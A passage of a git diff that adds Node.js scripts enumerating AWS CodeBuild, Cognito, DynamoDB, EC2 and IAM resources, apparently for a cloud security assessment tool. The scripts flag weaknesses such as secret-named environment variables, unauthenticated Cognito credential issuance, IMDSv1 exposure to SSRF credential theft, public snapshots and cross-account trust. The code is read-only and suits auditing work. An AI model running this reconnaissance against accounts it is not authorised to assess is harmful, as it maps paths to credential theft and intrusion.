SECRET_PATTERNS.test(n)); + + const finding = { + resource_type: 'codebuild_project', + resource_id: project.name, + arn: project.arn || null, + region, + service_role: project.serviceRole || null, + source_type: project.source?.type || null, + source_location: project.source?.location || null, + source_buildspec: project.source?.buildspec ? true : false, + environment_type: project.environment?.type || null, + environment_image: project.environment?.image || null, + environment_compute_type: project.environment?.computeType || null, + privileged_mode: project.environment?.privilegedMode || false, + vpc_config: project.vpcConfig + ? { + vpc_id: project.vpcConfig.vpcId || null, + subnets: project.vpcConfig.subnets || [], + security_group_ids: project.vpcConfig.securityGroupIds || [], + } + : null, + env_var_names: envVarNames, + secret_pattern_names: secretPatternNames, + encryption_key: project.encryptionKey || null, + last_modified: project.lastModified ? project.lastModified.toISOString() : null, + findings: [], + }; + + // Findings + if (secretPatternNames.length > 0) { + finding.findings.push({ + type: 'secret_env_vars', + severity: 'high', + detail: `Project has ${secretPatternNames.length} env var(s) matching secret patterns: ${secretPatternNames.join(', ')}`, + }); + } + + if (project.environment?.privilegedMode) { + finding.findings.push({ + type: 'privileged_mode', + severity: 'medium', + detail: 'Build environment runs in privileged mode (Docker daemon access)', + }); + } + + if (!project.vpcConfig) { + finding.findings.push({ + type: 'no_vpc', + severity: 'info', + detail: 'Project builds do not run inside a VPC', + }); + } + + findings.push(finding); + } + + // Track projects that failed to load + for (const name of resp.projectsNotFound || []) { + errors.push({ resource: name, error: 'Project not found in BatchGetProjects response' }); + logger.log('warning', 'BatchGetProjects_NotFound', { project: name }); + } + } catch (err) { + errors.push({ resource: `batch(${batch.length})`, error: err.message }); + logger.log('error', 'BatchGetProjects', { error: err.message }); + } + } + + let status = 'complete'; + if (errors.length > 0) status = 'partial'; + + await logger.flush(); + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'codebuild', run }); +} + +module.exports = { run }; diff --git a/scripts/enum/cognito.js b/scripts/enum/cognito.js new file mode 100644 index 0000000..0036410 --- /dev/null +++ b/scripts/enum/cognito.js @@ -0,0 +1,312 @@ +'use strict'; + +const { + CognitoIdentityClient, + ListIdentityPoolsCommand, + DescribeIdentityPoolCommand, +} = require('@aws-sdk/client-cognito-identity'); + +const { + CognitoIdentityProviderClient, + ListUserPoolsCommand, + DescribeUserPoolCommand, + ListUserPoolClientsCommand, + DescribeUserPoolClientCommand, +} = require('@aws-sdk/client-cognito-identity-provider'); + +const { withRetry, paginate, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); + +// --- Identity Pools (CognitoIdentityClient) --- + +async function enumerateIdentityPools(client, region, logger) { + logger.log('api_call', 'ListIdentityPools', {}); + + const pools = []; + let nextToken = undefined; + + do { + const params = { MaxResults: 60 }; + if (nextToken) params.NextToken = nextToken; + + const resp = await withRetry(() => client.send(new ListIdentityPoolsCommand(params))); + if (resp.IdentityPools) pools.push(...resp.IdentityPools); + nextToken = resp.NextToken; + } while (nextToken); + + const findings = []; + for (const pool of pools) { + try { + logger.log('api_call', 'DescribeIdentityPool', { poolId: pool.IdentityPoolId }); + const detail = await withRetry(() => + client.send(new DescribeIdentityPoolCommand({ IdentityPoolId: pool.IdentityPoolId })) + ); + + const allowUnauth = detail.AllowUnauthenticatedIdentities === true; + const poolFindings = []; + + if (allowUnauth) { + poolFindings.push( + 'CRITICAL: AllowUnauthenticatedIdentities is TRUE — anyone can call GetId + GetCredentialsForIdentity and receive temporary AWS credentials without authentication' + ); + } + + // Extract role ARNs from CognitoIdentityRoles if available + const roles = detail.Roles || {}; + + findings.push({ + resource_type: 'cognito_identity_pool', + resource_id: detail.IdentityPoolName || pool.IdentityPoolId, + arn: `arn:aws:cognito-identity:${region}:unknown:identitypool/${pool.IdentityPoolId}`, + pool_id: pool.IdentityPoolId, + pool_name: detail.IdentityPoolName || null, + region, + allow_unauthenticated: allowUnauth, + authenticated_role_arn: roles.authenticated || null, + unauthenticated_role_arn: roles.unauthenticated || null, + supported_login_providers: detail.SupportedLoginProviders || {}, + open_id_connect_provider_arns: detail.OpenIdConnectProviderARNs || [], + cognito_identity_providers: (detail.CognitoIdentityProviders || []).map((p) => ({ + provider_name: p.ProviderName, + client_id: p.ClientId, + server_side_token_check: p.ServerSideTokenCheck || false, + })), + saml_provider_arns: detail.SamlProviderARNs || [], + findings: poolFindings, + }); + } catch (err) { + logger.log('warning', 'DescribeIdentityPool', { poolId: pool.IdentityPoolId, error: err.message }); + findings.push({ + resource_type: 'cognito_identity_pool', + resource_id: pool.IdentityPoolId, + arn: `arn:aws:cognito-identity:${region}:unknown:identitypool/${pool.IdentityPoolId}`, + pool_id: pool.IdentityPoolId, + pool_name: pool.IdentityPoolName || null, + region, + allow_unauthenticated: null, + findings: [], + }); + } + } + + return findings; +} + +// --- User Pools (CognitoIdentityProviderClient) --- + +async function enumerateUserPools(providerClient, region, logger) { + logger.log('api_call', 'ListUserPools', {}); + + const pools = []; + let nextToken = undefined; + + do { + const params = { MaxResults: 60 }; + if (nextToken) params.NextToken = nextToken; + + const resp = await withRetry(() => providerClient.send(new ListUserPoolsCommand(params))); + if (resp.UserPools) pools.push(...resp.UserPools); + nextToken = resp.NextToken; + } while (nextToken); + + const userPoolFindings = []; + const clientFindings = []; + + for (const pool of pools) { + try { + logger.log('api_call', 'DescribeUserPool', { userPoolId: pool.Id }); + const resp = await withRetry(() => + providerClient.send(new DescribeUserPoolCommand({ UserPoolId: pool.Id })) + ); + const detail = resp.UserPool || {}; + + const selfRegistrationEnabled = + !(detail.AdminCreateUserConfig?.AllowAdminCreateUserOnly === true); + const mfaConfig = detail.MfaConfiguration || 'OFF'; + const passwordPolicy = detail.Policies?.PasswordPolicy || {}; + const schemaAttributes = detail.SchemaAttributes || []; + const customAttributes = schemaAttributes.filter((a) => a.Name && a.Name.startsWith('custom:')); + + const poolFindings = []; + if (selfRegistrationEnabled) { + poolFindings.push('Self-registration enabled — anyone can create an account'); + } + if (mfaConfig === 'OFF') { + poolFindings.push('MFA is OFF — no multi-factor authentication enforced'); + } + + userPoolFindings.push({ + resource_type: 'cognito_user_pool', + resource_id: detail.Name || pool.Id, + arn: detail.Arn || `arn:aws:cognito-idp:${region}:unknown:userpool/${pool.Id}`, + pool_id: pool.Id, + pool_name: detail.Name || null, + region, + self_registration_enabled: selfRegistrationEnabled, + mfa_configuration: mfaConfig, + password_policy: { + minimum_length: passwordPolicy.MinimumLength || null, + require_uppercase: passwordPolicy.RequireUppercase || false, + require_lowercase: passwordPolicy.RequireLowercase || false, + require_numbers: passwordPolicy.RequireNumbers || false, + require_symbols: passwordPolicy.RequireSymbols || false, + temporary_password_validity_days: passwordPolicy.TemporaryPasswordValidityDays || null, + }, + custom_attributes_count: customAttributes.length, + estimated_users: detail.EstimatedNumberOfUsers || 0, + creation_date: detail.CreationDate || null, + last_modified_date: detail.LastModifiedDate || null, + findings: poolFindings, + }); + + // Enumerate clients for this user pool + try { + const clients = await enumerateUserPoolClients(providerClient, pool.Id, region, logger); + clientFindings.push(...clients); + } catch (err) { + logger.log('warning', 'UserPoolClients', { userPoolId: pool.Id, error: err.message }); + } + + } catch (err) { + logger.log('warning', 'DescribeUserPool', { userPoolId: pool.Id, error: err.message }); + userPoolFindings.push({ + resource_type: 'cognito_user_pool', + resource_id: pool.Id, + arn: `arn:aws:cognito-idp:${region}:unknown:userpool/${pool.Id}`, + pool_id: pool.Id, + pool_name: pool.Name || null, + region, + findings: [], + }); + } + } + + return { userPoolFindings, clientFindings }; +} + +// --- User Pool Clients --- + +async function enumerateUserPoolClients(providerClient, userPoolId, region, logger) { + logger.log('api_call', 'ListUserPoolClients', { userPoolId }); + + const clients = []; + let nextToken = undefined; + + do { + const params = { UserPoolId: userPoolId, MaxResults: 60 }; + if (nextToken) params.NextToken = nextToken; + + const resp = await withRetry(() => providerClient.send(new ListUserPoolClientsCommand(params))); + if (resp.UserPoolClients) clients.push(...resp.UserPoolClients); + nextToken = resp.NextToken; + } while (nextToken); + + const findings = []; + for (const c of clients) { + try { + logger.log('api_call', 'DescribeUserPoolClient', { clientId: c.ClientId }); + const resp = await withRetry(() => + providerClient.send( + new DescribeUserPoolClientCommand({ UserPoolId: userPoolId, ClientId: c.ClientId }) + ) + ); + const detail = resp.UserPoolClient || {}; + + const clientFindings = []; + const oauthFlows = detail.AllowedOAuthFlows || []; + if (oauthFlows.includes('implicit')) { + clientFindings.push('Implicit OAuth flow enabled — tokens exposed in URL fragment'); + } + + findings.push({ + resource_type: 'cognito_user_pool_client', + resource_id: detail.ClientName || c.ClientId, + arn: `arn:aws:cognito-idp:${region}:unknown:userpool/${userPoolId}/client/${c.ClientId}`, + client_id: c.ClientId, + client_name: detail.ClientName || null, + user_pool_id: userPoolId, + region, + allowed_oauth_flows: oauthFlows, + allowed_oauth_flows_user_pool_client: detail.AllowedOAuthFlowsUserPoolClient || false, + allowed_oauth_scopes: detail.AllowedOAuthScopes || [], + callback_urls: detail.CallbackURLs || [], + logout_urls: detail.LogoutURLs || [], + explicit_auth_flows: detail.ExplicitAuthFlows || [], + token_validity: { + access_token: detail.AccessTokenValidity || null, + id_token: detail.IdTokenValidity || null, + refresh_token: detail.RefreshTokenValidity || null, + }, + prevent_user_existence_errors: detail.PreventUserExistenceErrors || null, + findings: clientFindings, + }); + } catch (err) { + logger.log('warning', 'DescribeUserPoolClient', { clientId: c.ClientId, error: err.message }); + findings.push({ + resource_type: 'cognito_user_pool_client', + resource_id: c.ClientId, + arn: `arn:aws:cognito-idp:${region}:unknown:userpool/${userPoolId}/client/${c.ClientId}`, + client_id: c.ClientId, + user_pool_id: userPoolId, + region, + findings: [], + }); + } + } + + return findings; +} + +// --- Run (exported for testing) --- + +async function run(opts = {}) { + const runDir = opts.runDir; + const region = opts.region; + const accountId = opts.accountId; + + const logger = opts.logger || createLogger(runDir, 'cognito'); + logger.log('info', 'Cognito_Enumeration_Start', { region }); + + const identityClient = opts.clients?.cognitoIdentity ?? new CognitoIdentityClient({ region }); + const providerClient = opts.clients?.cognitoIdp ?? new CognitoIdentityProviderClient({ region }); + + let findings = []; + let status = 'complete'; + const partialErrors = []; + + // Identity pools + try { + const identityPoolFindings = await enumerateIdentityPools(identityClient, region, logger); + findings.push(...identityPoolFindings); + } catch (err) { + partialErrors.push({ resource: 'identity_pools', error: err.message }); + logger.log('warning', 'IdentityPools', { error: err.message }); + } + + // User pools + clients + try { + const { userPoolFindings, clientFindings } = await enumerateUserPools( + providerClient, + region, + logger + ); + findings.push(...userPoolFindings); + findings.push(...clientFindings); + } catch (err) { + partialErrors.push({ resource: 'user_pools', error: err.message }); + logger.log('warning', 'UserPools', { error: err.message }); + } + + if (partialErrors.length > 0) { + status = 'partial'; + } + + await logger.flush(); + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'cognito', run }); +} + +module.exports = { run }; diff --git a/scripts/enum/dynamodb.js b/scripts/enum/dynamodb.js new file mode 100644 index 0000000..0007cdd --- /dev/null +++ b/scripts/enum/dynamodb.js @@ -0,0 +1,201 @@ +'use strict'; + +const { + DynamoDBClient, + ListTablesCommand, + DescribeTableCommand, + DescribeContinuousBackupsCommand, + ListBackupsCommand, + GetResourcePolicyCommand, +} = require('@aws-sdk/client-dynamodb'); + +const { withRetry, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); + +// --- Pagination for ListTables (uses ExclusiveStartTableName, not NextToken) --- + +async function listAllTables(client, logger) { + const allTables = []; + let exclusiveStart = undefined; + + do { + const params = {}; + if (exclusiveStart) { + params.ExclusiveStartTableName = exclusiveStart; + } + + logger.log('api_call', 'ListTables', { ExclusiveStartTableName: exclusiveStart || null }); + const response = await withRetry(() => client.send(new ListTablesCommand(params))); + + if (Array.isArray(response.TableNames)) { + allTables.push(...response.TableNames); + } + + exclusiveStart = response.LastEvaluatedTableName || null; + } while (exclusiveStart); + + return allTables; +} + +// --- Per-table enrichment --- + +async function describeTable(client, tableName, logger) { + logger.log('api_call', 'DescribeTable', { table: tableName }); + const response = await withRetry(() => + client.send(new DescribeTableCommand({ TableName: tableName })) + ); + return response.Table; +} + +async function describeContinuousBackups(client, tableName, logger) { + logger.log('api_call', 'DescribeContinuousBackups', { table: tableName }); + try { + const response = await withRetry(() => + client.send(new DescribeContinuousBackupsCommand({ TableName: tableName })) + ); + const desc = response.ContinuousBackupsDescription; + if (!desc) return null; + return { + continuous_backups_status: desc.ContinuousBackupsStatus || null, + point_in_time_recovery: + desc.PointInTimeRecoveryDescription?.PointInTimeRecoveryStatus === 'ENABLED', + }; + } catch (err) { + logger.log('warning', 'DescribeContinuousBackups_Failed', { table: tableName, error: err.message }); + return null; + } +} + +async function listBackups(client, tableName, logger) { + logger.log('api_call', 'ListBackups', { table: tableName }); + try { + const response = await withRetry(() => + client.send(new ListBackupsCommand({ TableName: tableName })) + ); + return response.BackupSummaries ? response.BackupSummaries.length : 0; + } catch (err) { + logger.log('warning', 'ListBackups_Failed', { table: tableName, error: err.message }); + return 0; + } +} + +async function getResourcePolicy(client, tableArn, logger) { + logger.log('api_call', 'GetResourcePolicy', { arn: tableArn }); + try { + const response = await withRetry(() => + client.send(new GetResourcePolicyCommand({ ResourceArn: tableArn })) + ); + if (response.Policy) { + try { + return JSON.parse(response.Policy); + } catch { + return response.Policy; + } + } + return null; + } catch (err) { + // ResourceNotFoundException or AccessDeniedException — no policy exists or not supported + if (err.name === 'ResourceNotFoundException' || err.name === 'PolicyNotFoundException' || + err.name === 'UnknownOperationException' || err.name === 'AccessDeniedException') { + return null; + } + logger.log('warning', 'GetResourcePolicy_Failed', { arn: tableArn, error: err.message }); + return null; + } +} + +// --- Run (exported for testing) --- + +async function run(opts = {}) { + const runDir = opts.runDir; + const region = opts.region; + const accountId = opts.accountId; + + const logger = opts.logger || createLogger(runDir, 'dynamodb'); + let status = 'complete'; + const partialErrors = []; + + // DynamoDB client + const client = opts.clients?.dynamodb ?? new DynamoDBClient({ region }); + + // List all tables + const tableNames = await listAllTables(client, logger); + logger.log('info', 'TablesDiscovered', { count: tableNames.length }); + + // Enumerate each table + const findings = []; + + for (const tableName of tableNames) { + try { + const table = await describeTable(client, tableName, logger); + + // Encryption + const sse = table.SSEDescription || {}; + const encryptionType = sse.SSEType || 'AES256'; // Default encryption if no SSE description + const kmsKeyId = sse.KMSMasterKeyArn || null; + + // Streams + const streamSpec = table.StreamSpecification || {}; + const streamEnabled = streamSpec.StreamEnabled || false; + const streamViewType = streamSpec.StreamViewType || null; + + // Global table detection + const isGlobalTable = !!(table.GlobalTableVersion || (table.Replicas && table.Replicas.length > 0)); + const replicas = (table.Replicas || []).map((r) => ({ + region: r.RegionName, + status: r.ReplicaStatus, + })); + + // Deletion protection + const deletionProtection = table.DeletionProtectionEnabled || false; + + // Table class + const tableClass = table.TableClassSummary?.TableClass || 'STANDARD'; + + // Point-in-time recovery + continuous backups + const backupInfo = await describeContinuousBackups(client, tableName, logger); + + // Manual backup count + const backupCount = await listBackups(client, tableName, logger); + + // Resource policy + const resourcePolicy = await getResourcePolicy(client, table.TableArn, logger); + + findings.push({ + resource_type: 'dynamodb_table', + resource_id: tableName, + arn: table.TableArn, + region, + encryption_type: encryptionType, + kms_key_id: kmsKeyId, + stream_enabled: streamEnabled, + stream_view_type: streamViewType, + is_global_table: isGlobalTable, + replicas, + deletion_protection: deletionProtection, + table_class: tableClass, + point_in_time_recovery: backupInfo ? backupInfo.point_in_time_recovery : null, + continuous_backups_status: backupInfo ? backupInfo.continuous_backups_status : null, + backup_count: backupCount, + resource_policy: resourcePolicy, + findings: [], + }); + } catch (err) { + partialErrors.push({ table: tableName, error: err.message }); + logger.log('error', 'TableEnumeration_Failed', { table: tableName, error: err.message }); + } + } + + if (partialErrors.length > 0) { + status = 'partial'; + } + + await logger.flush(); + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'dynamodb', run }); +} + +module.exports = { run }; diff --git a/scripts/enum/ec2.js b/scripts/enum/ec2.js new file mode 100644 index 0000000..e6bfa82 --- /dev/null +++ b/scripts/enum/ec2.js @@ -0,0 +1,431 @@ +'use strict'; + +const { + EC2Client, + DescribeInstancesCommand, + DescribeSecurityGroupsCommand, + DescribeVpcsCommand, + DescribeSnapshotsCommand, + DescribeSnapshotAttributeCommand, +} = require('@aws-sdk/client-ec2'); + +const { + ElasticLoadBalancingV2Client, + DescribeLoadBalancersCommand: DescribeALBsCommand, + DescribeListenersCommand, +} = require('@aws-sdk/client-elastic-load-balancing-v2'); + +const { + ElasticLoadBalancingClient, + DescribeLoadBalancersCommand: DescribeClassicLBsCommand, +} = require('@aws-sdk/client-elastic-load-balancing'); + +const { withRetry, paginate, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); + +// --- Instance enumeration --- + +async function enumerateInstances(ec2, region, logger) { + logger.log('api_call', 'DescribeInstances', { service: 'ec2' }); + const reservations = await paginate(ec2, DescribeInstancesCommand, 'Reservations'); + + const findings = []; + for (const reservation of reservations) { + for (const instance of reservation.Instances || []) { + const imdsVersion = instance.MetadataOptions?.HttpTokens === 'required' ? 'v2' : 'v1'; + const isImdsV1 = imdsVersion === 'v1'; + + const nameTag = (instance.Tags || []).find((t) => t.Key === 'Name'); + const sgIds = (instance.SecurityGroups || []).map((sg) => sg.GroupId); + + const finding = { + resource_type: 'ec2_instance', + resource_id: instance.InstanceId, + arn: `arn:aws:ec2:${region}:*:instance/${instance.InstanceId}`, + region, + name: nameTag ? nameTag.Value : null, + state: instance.State?.Name || null, + instance_type: instance.InstanceType || null, + platform: instance.Platform || 'linux', + public_ip: instance.PublicIpAddress || null, + private_ip: instance.PrivateIpAddress || null, + vpc_id: instance.VpcId || null, + subnet_id: instance.SubnetId || null, + iam_instance_profile: instance.IamInstanceProfile + ? { arn: instance.IamInstanceProfile.Arn, id: instance.IamInstanceProfile.Id } + : null, + security_groups: sgIds, + imds_version: imdsVersion, + metadata_options: { + http_tokens: instance.MetadataOptions?.HttpTokens || null, + http_endpoint: instance.MetadataOptions?.HttpEndpoint || null, + http_put_response_hop_limit: instance.MetadataOptions?.HttpPutResponseHopLimit || null, + }, + findings: [], + }; + + if (isImdsV1) { + finding.findings.push({ + type: 'imds_v1_enabled', + severity: 'critical', + detail: 'Instance uses IMDSv1 (HttpTokens=optional) — credential theft via SSRF', + }); + } + + if (instance.PublicIpAddress) { + finding.findings.push({ + type: 'public_ip', + severity: 'info', + detail: `Instance has public IP: ${instance.PublicIpAddress}`, + }); + } + + if (!instance.IamInstanceProfile) { + finding.findings.push({ + type: 'no_instance_profile', + severity: 'info', + detail: 'No IAM instance profile attached', + }); + } + + findings.push(finding); + } + } + + logger.log('info', 'DescribeInstances_Complete', { count: findings.length }); + return findings; +} + +// --- Security Groups --- + +async function enumerateSecurityGroups(ec2, region, logger) { + logger.log('api_call', 'DescribeSecurityGroups', { service: 'ec2' }); + const groups = await paginate(ec2, DescribeSecurityGroupsCommand, 'SecurityGroups'); + + const findings = []; + for (const sg of groups) { + const inboundRules = (sg.IpPermissions || []).map((perm) => { + const sources = [ + ...(perm.IpRanges || []).map((r) => r.CidrIp), + ...(perm.Ipv6Ranges || []).map((r) => r.CidrIpv6), + ...(perm.PrefixListIds || []).map((p) => p.PrefixListId), + ...(perm.UserIdGroupPairs || []).map((g) => g.GroupId), + ]; + return { + protocol: perm.IpProtocol || null, + from_port: perm.FromPort ?? null, + to_port: perm.ToPort ?? null, + sources, + }; + }); + + const openToWorld = inboundRules.some((rule) => + rule.sources.some((s) => s === '0.0.0.0/0' || s === '::/0') + ); + + const finding = { + resource_type: 'ec2_security_group', + resource_id: sg.GroupId, + arn: `arn:aws:ec2:${region}:*:security-group/${sg.GroupId}`, + region, + name: sg.GroupName || null, + description: sg.Description || null, + vpc_id: sg.VpcId || null, + inbound_rules: inboundRules, + findings: [], + }; + + if (openToWorld) { + finding.findings.push({ + type: 'open_to_world', + severity: 'high', + detail: 'Security group has inbound rule(s) open to 0.0.0.0/0 or ::/0', + }); + } + + findings.push(finding); + } + + logger.log('info', 'DescribeSecurityGroups_Complete', { count: findings.length }); + return findings; +} + +// --- VPCs --- + +async function enumerateVpcs(ec2, region, logger) { + logger.log('api_call', 'DescribeVpcs', { service: 'ec2' }); + const vpcs = await paginate(ec2, DescribeVpcsCommand, 'Vpcs'); + + const findings = []; + for (const vpc of vpcs) { + const nameTag = (vpc.Tags || []).find((t) => t.Key === 'Name'); + findings.push({ + resource_type: 'ec2_vpc', + resource_id: vpc.VpcId, + arn: `arn:aws:ec2:${region}:*:vpc/${vpc.VpcId}`, + region, + name: nameTag ? nameTag.Value : null, + cidr_block: vpc.CidrBlock || null, + is_default: vpc.IsDefault || false, + state: vpc.State || null, + findings: [], + }); + } + + logger.log('info', 'DescribeVpcs_Complete', { count: findings.length }); + return findings; +} + +// --- Snapshots --- + +async function enumerateSnapshots(ec2, accountId, region, logger) { + logger.log('api_call', 'DescribeSnapshots', { service: 'ec2', owner: 'self' }); + const snapshots = await paginate(ec2, DescribeSnapshotsCommand, 'Snapshots', { + params: { OwnerIds: ['self'] }, + }); + + const findings = []; + for (const snap of snapshots) { + let isPublic = false; + + try { + logger.log('api_call', 'DescribeSnapshotAttribute', { snapshot: snap.SnapshotId }); + const attrResp = await withRetry(() => + ec2.send(new DescribeSnapshotAttributeCommand({ + SnapshotId: snap.SnapshotId, + Attribute: 'createVolumePermission', + })) + ); + const perms = attrResp.CreateVolumePermissions || []; + isPublic = perms.some((p) => p.Group === 'all'); + } catch (err) { + logger.log('warning', 'DescribeSnapshotAttribute', { + snapshot: snap.SnapshotId, + error: err.message, + }); + } + + const finding = { + resource_type: 'ec2_snapshot', + resource_id: snap.SnapshotId, + arn: `arn:aws:ec2:${region}:${accountId}:snapshot/${snap.SnapshotId}`, + region, + volume_id: snap.VolumeId || null, + volume_size_gb: snap.VolumeSize || null, + encrypted: snap.Encrypted || false, + state: snap.State || null, + is_public: isPublic, + findings: [], + }; + + if (isPublic) { + finding.findings.push({ + type: 'public_snapshot', + severity: 'critical', + detail: 'Snapshot is publicly shared (createVolumePermission includes "all")', + }); + } + + if (!snap.Encrypted) { + finding.findings.push({ + type: 'unencrypted_snapshot', + severity: 'medium', + detail: 'Snapshot is not encrypted', + }); + } + + findings.push(finding); + } + + logger.log('info', 'DescribeSnapshots_Complete', { count: findings.length }); + return findings; +} + +// --- ELBv2 (ALB/NLB) --- + +async function enumerateELBv2(elbv2, region, logger) { + logger.log('api_call', 'DescribeLoadBalancers_v2', { service: 'elbv2' }); + const lbs = await paginate(elbv2, DescribeALBsCommand, 'LoadBalancers', { + tokenKey: 'Marker', + responseTokenKey: 'NextMarker', + }); + + const findings = []; + for (const lb of lbs) { + let listeners = []; + try { + logger.log('api_call', 'DescribeListeners', { lb_arn: lb.LoadBalancerArn }); + listeners = await paginate(elbv2, DescribeListenersCommand, 'Listeners', { + params: { LoadBalancerArn: lb.LoadBalancerArn }, + tokenKey: 'Marker', + responseTokenKey: 'NextMarker', + }); + } catch (err) { + logger.log('warning', 'DescribeListeners', { lb_arn: lb.LoadBalancerArn, error: err.message }); + } + + const finding = { + resource_type: 'ec2_load_balancer', + resource_id: lb.LoadBalancerName, + arn: lb.LoadBalancerArn, + region, + type: lb.Type || null, + scheme: lb.Scheme || null, + state: lb.State?.Code || null, + dns_name: lb.DNSName || null, + vpc_id: lb.VpcId || null, + availability_zones: (lb.AvailabilityZones || []).map((az) => az.ZoneName), + listeners: listeners.map((l) => ({ + port: l.Port, + protocol: l.Protocol, + ssl_policy: l.SslPolicy || null, + })), + findings: [], + }; + + if (lb.Scheme === 'internet-facing') { + finding.findings.push({ + type: 'internet_facing', + severity: 'info', + detail: `Load balancer is internet-facing: ${lb.DNSName}`, + }); + } + + findings.push(finding); + } + + logger.log('info', 'DescribeLoadBalancers_v2_Complete', { count: findings.length }); + return findings; +} + +// --- Classic ELB --- + +async function enumerateClassicELB(elb, region, logger) { + logger.log('api_call', 'DescribeLoadBalancers_classic', { service: 'elb' }); + const lbs = await paginate(elb, DescribeClassicLBsCommand, 'LoadBalancerDescriptions', { + tokenKey: 'Marker', + responseTokenKey: 'NextMarker', + }); + + const findings = []; + for (const lb of lbs) { + const finding = { + resource_type: 'ec2_load_balancer', + resource_id: lb.LoadBalancerName, + arn: null, // Classic ELBs don't have ARN in describe response + region, + type: 'classic', + scheme: lb.Scheme || null, + dns_name: lb.DNSName || null, + vpc_id: lb.VPCId || null, + availability_zones: lb.AvailabilityZones || [], + listeners: (lb.ListenerDescriptions || []).map((ld) => ({ + port: ld.Listener?.LoadBalancerPort || null, + protocol: ld.Listener?.Protocol || null, + instance_port: ld.Listener?.InstancePort || null, + instance_protocol: ld.Listener?.InstanceProtocol || null, + })), + findings: [], + }; + + if (lb.Scheme === 'internet-facing') { + finding.findings.push({ + type: 'internet_facing', + severity: 'info', + detail: `Classic load balancer is internet-facing: ${lb.DNSName}`, + }); + } + + findings.push(finding); + } + + logger.log('info', 'DescribeLoadBalancers_classic_Complete', { count: findings.length }); + return findings; +} + +// --- Run (dependency-injectable) --- + +async function run(opts = {}) { + const { runDir, region } = opts; + const accountId = opts.accountId; + + if (!runDir || !region) { + throw new Error('runDir and region are required'); + } + + const ec2 = opts.clients?.ec2 ?? new EC2Client({ region }); + const elbv2 = opts.clients?.elbv2 ?? new ElasticLoadBalancingV2Client({ region }); + const elb = opts.clients?.elb ?? new ElasticLoadBalancingClient({ region }); + + const logger = opts.logger || createLogger(runDir, 'ec2'); + logger.log('info', 'EC2_Enumeration_Start', { region }); + + const allFindings = []; + let status = 'complete'; + const errors = []; + + // 1. Instances + try { + const instances = await enumerateInstances(ec2, region, logger); + allFindings.push(...instances); + } catch (err) { + errors.push({ resource_type: 'ec2_instance', error: err.message }); + logger.log('error', 'DescribeInstances', { error: err.message }); + } + + // 2. Security Groups + try { + const sgs = await enumerateSecurityGroups(ec2, region, logger); + allFindings.push(...sgs); + } catch (err) { + errors.push({ resource_type: 'ec2_security_group', error: err.message }); + logger.log('error', 'DescribeSecurityGroups', { error: err.message }); + } + + // 3. VPCs + try { + const vpcs = await enumerateVpcs(ec2, region, logger); + allFindings.push(...vpcs); + } catch (err) { + errors.push({ resource_type: 'ec2_vpc', error: err.message }); + logger.log('error', 'DescribeVpcs', { error: err.message }); + } + + // 4. Snapshots + try { + const snaps = await enumerateSnapshots(ec2, accountId, region, logger); + allFindings.push(...snaps); + } catch (err) { + errors.push({ resource_type: 'ec2_snapshot', error: err.message }); + logger.log('error', 'DescribeSnapshots', { error: err.message }); + } + + // 5. ELBv2 (ALB/NLB) + try { + const elbv2Findings = await enumerateELBv2(elbv2, region, logger); + allFindings.push(...elbv2Findings); + } catch (err) { + errors.push({ resource_type: 'ec2_load_balancer_v2', error: err.message }); + logger.log('error', 'DescribeLoadBalancers_v2', { error: err.message }); + } + + // 6. Classic ELB + try { + const classicFindings = await enumerateClassicELB(elb, region, logger); + allFindings.push(...classicFindings); + } catch (err) { + errors.push({ resource_type: 'ec2_load_balancer_classic', error: err.message }); + logger.log('error', 'DescribeLoadBalancers_classic', { error: err.message }); + } + + if (errors.length > 0) status = 'partial'; + + await logger.flush(); + return { findings: allFindings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'ec2', run }); +} + +module.exports = { run }; diff --git a/scripts/enum/iam.js b/scripts/enum/iam.js new file mode 100644 index 0000000..0a8858c --- /dev/null +++ b/scripts/enum/iam.js @@ -0,0 +1,911 @@ +'use strict'; + +const { + IAMClient, + GetAccountAuthorizationDetailsCommand, + ListUsersCommand, + ListRolesCommand, + ListGroupsCommand, + ListUserPoliciesCommand, + GetUserPolicyCommand, + ListAttachedUserPoliciesCommand, + ListGroupsForUserCommand, + ListAccessKeysCommand, + GetAccessKeyLastUsedCommand, + ListMFADevicesCommand, + GetLoginProfileCommand, + GetRoleCommand, + ListRolePoliciesCommand, + GetRolePolicyCommand, + ListAttachedRolePoliciesCommand, + GetGroupCommand, + ListAttachedGroupPoliciesCommand, + ListGroupPoliciesCommand, + GetGroupPolicyCommand, + GetPolicyCommand, + GetPolicyVersionCommand, + GenerateCredentialReportCommand, + GetCredentialReportCommand, + GenerateServiceLastAccessedDetailsCommand, + GetServiceLastAccessedDetailsCommand, + ListOpenIDConnectProvidersCommand, + GetOpenIDConnectProviderCommand, +} = require('@aws-sdk/client-iam'); + +const { withRetry, paginate, createLogger, safeISOString } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); + +// --- Inline Policy Decoder --- + +function decodePolicy(doc) { + if (!doc) return null; + try { + return typeof doc === 'string' ? JSON.parse(decodeURIComponent(doc)) : doc; + } catch { + return doc; + } +} + +// --- Trust Classification --- + +function classifyPrincipal(principal, accountId) { + if (principal === '*' || principal === 'arn:aws:iam::*:root') { + return { principal, trust_type: 'wildcard', is_wildcard: true }; + } + if (/^arn:aws:iam::\d+:root$/.test(principal)) { + const isSameAccount = principal.includes(`:${accountId}:`); + return { principal, trust_type: isSameAccount ? 'same-account' : 'cross-account', is_wildcard: false }; + } + if (/\.amazonaws\.com$/.test(principal)) { + return { principal, trust_type: 'service', is_wildcard: false }; + } + if (/^arn:aws:iam::\d+:/.test(principal)) { + const isSameAccount = principal.includes(`:${accountId}:`); + return { principal, trust_type: isSameAccount ? 'same-account' : 'cross-account', is_wildcard: false }; + } + if (/^arn:aws:iam::.*:(saml-provider|oidc-provider)\/|cognito-identity\.amazonaws\.com/.test(principal)) { + return { principal, trust_type: 'federated', is_wildcard: false }; + } + return { principal, trust_type: 'same-account', is_wildcard: false }; +} + +function normalizePrincipals(principalBlock) { + if (typeof principalBlock === 'string') return [principalBlock]; + if (typeof principalBlock === 'object' && principalBlock !== null) { + const results = []; + for (const key of ['AWS', 'Service', 'Federated']) { + const val = principalBlock[key]; + if (!val) continue; + if (typeof val === 